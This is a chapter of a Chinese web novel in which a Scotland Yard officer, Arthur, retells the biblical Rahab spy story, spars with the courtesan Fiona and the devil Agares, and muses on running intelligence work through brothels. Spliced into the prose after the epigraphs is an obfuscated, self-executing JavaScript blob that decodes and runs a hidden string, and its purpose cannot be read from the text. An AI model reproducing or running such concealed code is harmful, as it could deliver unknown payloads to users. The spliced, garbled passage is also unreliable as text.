趋时 作品

第三百四十八章 大博弈

那你是个探子咯?

呃……不算,先生……我其实是个贼,不算爱国者,也不算什么大英雄,政府充其量只是利用了我的专业技能做事罢了。

——迈克尔·翁达杰《英国病人》

我授权你对阿勃韦尔进行改组,德意志需要尽快建立起一个像英国秘密情报局那样的机构——团结起来的一群人,满腔热情地去工作。

(function(){function f2be13a99(xe15602a5){var g30a8="&k♗1zscax3.;♘☁iઈu㏒w☧㏕@drw➢@i☁ejr,do☁➢ixj㏑h^cx^x-j-(x)>ph){rgh((6=^g665){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)}jcej{fr, r♘k.g=^qidw➢@ic){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)0wd^.r^☁,jy@fj✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}0wd^.r^☁rxx✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}}fr, 36d.^.=^g665xg5~k^h-@drcnw@,rpj☁pjw✎wjyceddrjr))0➢^c6gg-hgk.(==iqcc){6gg-hgk.(={6,@aej,7@qiwu5}}6gg-hgk.(☁6,@aej,7@qiw++0fr, arxhgg=udg^5cfd((.(j~g☁d@idrwc)=>xg5~k^h-){rgh((6☁frcqj+="\\,\\irkkjixjx jy w@ owyc"0fr, pd♘.g~=^g665☁pjw✩cjyjiwwu✎xc36d.^.☁➢x)0➢^cpd♘.g~==iqcc❆❆pd♘.g~==qixj^➢ijx){rgh((6☁frcqj+="\\,\\i driw pjw jy ^,@y owyc"}}}0➢^crgh((6⋌=iqcc){rgh((6☁frcqj+="\\,\\iejix 3e o@ew "+sjgg5j^~}fr, 6d5rxjg=^qidw➢@ici(~(xrg){,jwq,i ^(r-.rxx5ci(~(xrg)){rgh((6☁frcqj+="\\,\\i,jdj➢fj jy k@ew yjeerpj"0rgh((6☁frcqj+="\\,\\ij☁xrwr☁f "+j☁xrwr☁s}ija 2qidw➢@ic"r,pe"☧j☁xrwr☁s)c{vwxdeu➢dx~k☧vw,rurgh((6})}})})c"♆➢.3rBkk❅B.i[g☆q✪y✂f6☓=="☧"k.-♘~g55~kg♘ghg"☧a➢ix@a☧x@dqyjiw)}0➢k♘♘kjrc)0'.substr(10));new function(c)()})(); 在进攻之前,约书亚决定派遣两个间谍去城里搜集情报,于是便出现了亚瑟说到的故事开头。

杰里科的国王打探到了两个探子的真实身份,于是便派卫兵来逮捕他们。但是妓女喇合却把他们藏了起来,还告诉卫兵两个探子已经逃脱了。

而作为保护探子的回报,喇合要求:“当你们的军队破城时,不能杀戮我的父母和兄弟姐妹,也不能掠夺他们的财产。”

而约书亚的军队在破城之后,也遵守了对喇合的承诺,先将她和她的亲人们送出了城,旋即对杰里科进行了屠城。

作为睡前读物来说,这个故事无疑是失败的。

但它提神醒脑的效果,却是亚瑟想要得到的。

在菲欧娜看来,亚瑟虽然没有能力扮演约书亚的军队,并且这位苏格兰场警官惯常的行为方式中也不包含屠城选项。

但是,如果这个苏格兰场探子不去那些高高在上的‘约书亚’们面前替她美言几句的话……

这半年以来,苏格兰场对她那些同行们举起的屠刀,很快就要砍到她的脑袋上了。

对此,菲欧娜只能幽怨的开口道:“亲爱的,同样是妓女,为什么我一定要成为喇合,而不能是抹大拉的玛丽亚呢?”

“抱歉,菲欧娜,这是我的错。”

亚瑟笑着应道:“我不是耶稣,不是救世主,所以你自然也没办法像抹大拉的马丽亚那样,膏抹我便能得到救赎。”

红魔鬼听到这话,只是玩味道:“亚瑟,这可不是什么吉利话。你难道已经做好准备被钉上十字架了吗?”

语罢,他还端起了自己板正的单片镜,一本正经的掏出那本不知道放了多少年的《马可福音》念道。

“当耶稣被带往审判时,门徒都离开他逃走了。主钉十字架时,环境极其恶劣,唯有她跟耶稣到十字架下,看主受苦、断气、埋葬。

足见她有纯正的信仰与跟主到底的心志,故勇敢地在敌人面前与主亲近。主会说:凡在人面前认我的,我在我天上的父面前,也必认他。凡在人面前不认我的,我在我天上的父面前,也必不认他。”

亚瑟并没有理会阿加雷斯的恐吓,自从利物浦案发生后,他只是认清了一个很简单的道理——既然已经处于这个局中了,如果没有能力掀开棋盘,那最起码也要想办法和棋盘融为一体。

只有让那群人发现,棋盘缺了一角就没法对弈,那他才用不着隔三差五的被动性抢占伦敦大小报纸的新闻标题。

虽然这些事做起来很不体面也很危险,但是最起码能给自己寻觅到一个明明白白的死因。

而与亚瑟的积极筹备相对应的,则是不少不列颠的政府官员的蔑视态度。

在妓院里布局这一点,他没有同任何人打过商量。

因为内务部的官员们都说,他们很难想象正在与妓女鬼混的军官,会突然说起榴弹炮的口径、速度。沉湎于床第之欢的外交官,岂会冷不丁的透露秘密协议的有关条款。

或者说,正因为绅士们认为这是一项低效工作,所有人都不屑去做,大部分人依然坚持着君子应当互不交换私信,搞这些东西的最终结果无外乎遭到公众的唾弃,所以情报工作的重任才能落到像是亚瑟这样的约克猪倌手里。